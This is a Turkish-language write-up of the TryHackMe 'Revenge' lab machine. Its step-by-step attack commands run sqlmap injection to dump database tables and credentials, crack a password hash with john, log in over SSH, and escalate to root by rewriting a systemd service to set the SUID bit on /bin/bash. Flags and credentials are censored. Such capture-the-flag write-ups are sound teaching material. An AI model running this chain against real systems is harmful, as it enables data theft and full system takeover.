TryHackMe – Revenge Makine Çözümü

Table of Contents

Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Revenge” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…

Çözüm

1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.

┌──(root㉿kali)-[/home/kali]
└─# nmap -sS -sV 10.10.190.142
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 11:53 EDT
Nmap scan report for 10.10.190.142
Host is up (0.075s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

2 — Dizin taraması yapıyorum.

┌──(root㉿kali)-[/home/kali]
└─# gobuster dir -u http://10.10.190.142 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.190.142
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/06/24 12:00:34 Starting gobuster in directory enumeration mode
===============================================================
/admin                (Status: 200) [Size: 4983]
/contact              (Status: 200) [Size: 6906]
/index                (Status: 200) [Size: 8541]
/login                (Status: 200) [Size: 4980]
/products             (Status: 200) [Size: 7254]
/static               (Status: 301) [Size: 194] [--> http://10.10.190.142/static/]

3 — sqlmap aracı ile sql enjeksiyonu saldırısı yapıyorum. Saldırısı sonucunda bazı veritabanı isimlerini elde ediyorum.

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 --dbs
*
*
available databases [5]:                                                                                             
[*] duckyinc
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys

4 — “duckyinc” veritabanının içindeki tabloları listeliyorum.

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc --tables --risk=3 --level=5 
*
*
Database: duckyinc                                                                                                   
[3 tables]
+-------------+
| system_user |
| user        |
| product     |
+-------------+

5 — “User” tablosunun içeriğini listelediğimde ilk bayrağı elde ediyorum.

┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc -T user --dump --risk=3 --level=5
*
*
| *CENSORED* |
6 — “system_user” tablosunun içeriğini listelediğimde birtakım giriş bilgileri elde ediyorum.
┌──(root㉿kali)-[/home/kali]
└─# sqlmap -u http://10.10.190.142/products/1 -D duckyinc -T system_user --dump --risk=3 --level=5

+----+----------------------+--------------+--------------------------------------------------------------+
| id | email                | username     | _password                                                    |
+----+----------------------+--------------+--------------------------------------------------------------+
*CENSORED*
+----+----------------------+--------------+--------------------------------------------------------------+

7 — “server-admin” kullanıcısının parola hashini john aracı ile kırıyorum. SSH bağlantısı kurup ikinci bayrağı elde ediyorum.

┌──(root㉿kali)-[/home/kali]
└─# john hash -w=/usr/share/wordlists/rockyou.txt
*CENSORED*

┌──(root㉿kali)-[/home/kali]
└─# ssh server-admin@10.10.190.142  
*
*
server-admin@duckyinc:~$ ls
flag2.txt
server-admin@duckyinc:~$ cat flag2.txt
*CENSORED*

8 — Sudo yetkisi ile çalıştırabileceğim komutları listelediğimde “sudoedit” komutunu görüyorum. Duckinc.service adındaki bir servis konfigürasyon dosyasını değiştirebildiğimi görüyorum.

server-admin@duckyinc:~$ sudo -l
[sudo] password for server-admin: 
Matching Defaults entries for server-admin on duckyinc:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User server-admin may run the following commands on duckyinc:
    (root) /bin/systemctl start duckyinc.service, /bin/systemctl enable duckyinc.service, /bin/systemctl restart duckyinc.service, /bin/systemctl daemon-reload,
        sudoedit /etc/systemd/system/duckyinc.service

9 — “duckyinc.service” dosyasını aşağıdaki gibi düzenliyorum.

server-admin@duckyinc:~$ sudoedit /etc/systemd/system/duckyinc.service

[Unit]
Description=Gunicorn instance to serve DuckyInc Webapp
After=network.target

[Service]
ExecStart=/bin/sh -c "chmod +s /bin/bash"

[Install]
WantedBy=multi-user.target

10 — Servisi yeniden başlattıktan sonra /bin/bash komutunun suid bitinin aktif edildiğini görüyorum. Root kullanıcısına geçtikten sonra üçüncü bayrağı elde ediyorum.

server-admin@duckyinc:~$ sudo systemctl daemon-reload
server-admin@duckyinc:~$ sudo systemctl restart duckyinc.service
server-admin@duckyinc:~$ /bin/bash -p
bash-4.4# whoami
root
bash-4.4# cd /root